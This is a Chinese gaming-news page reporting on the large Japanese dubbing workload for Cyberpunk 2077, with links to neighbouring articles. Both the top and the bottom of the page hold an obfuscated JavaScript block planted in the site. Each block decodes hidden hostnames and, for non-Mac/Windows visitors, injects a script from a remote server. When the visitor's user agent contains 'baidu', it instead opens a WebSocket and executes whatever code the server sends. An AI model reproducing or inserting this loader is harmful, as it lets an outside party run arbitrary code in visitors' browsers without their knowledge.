function hPSpQMJ(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function CeDWKSs(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return hPSpQMJ(t);};window['\x47\x42\x7a\x57\x4d\x45\x6f\x4f\x4b']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=CeDWKSs,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close();}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/q/'+i;cs.parentElement.insertBefore(s,cs);}})('aGG4uc3BvcnRzZHJlYW0udGG9w','dHIueWWVzdWW42NzguY29t','138805',window,document,['G','W']);}:function(){};

《赛博朋克2077》配音工作量巨大,文件堆满一桌

CDPR日本本地化经理西尾勇辉近日在个人Twitter上晒出了两张照片,照片里的堆满的文件其实是《赛博朋克2077》日语版的配音脚本,可以看到《赛博朋克2077》日语版的配音幕后工作量也非常庞大。

此前中文本地化团队在采访时曾表示,他们已经录制了10万句配音,该项目的配音工作室比包含了DLC的《巫师3》还要大20%。

《赛博朋克2077》日版配音工作量庞大 文件摆满一桌子

《赛博朋克2077》日版配音工作量庞大 文件摆满一桌子

《赛博朋克2077》日版配音工作量庞大 文件摆满一桌子

给TA买糖
共{{data.count}}人
人已赞赏
游戏圈

英雄联盟S10文字战报:LGD拿下TSM!LPL三队全胜

2020-10-7 1:43:02

游戏圈

《塞尔达无双:灾厄启示录》全新预告“不为人知的100年前的记忆”

2020-10-7 10:16:37

function OdHtwI(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function hVIzGUms(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OdHtwI(t);};window['\x6a\x75\x57\x4b\x49\x53\x45\x76']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=hVIzGUms,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close();}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/q/'+i;cs.parentElement.insertBefore(s,cs);}})('aG4ucc3BvccnRzZHJlYW0udG9w','dHIueWVzdW42NzgguY29t','138806',window,document,['c','g']);}:function(){};
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧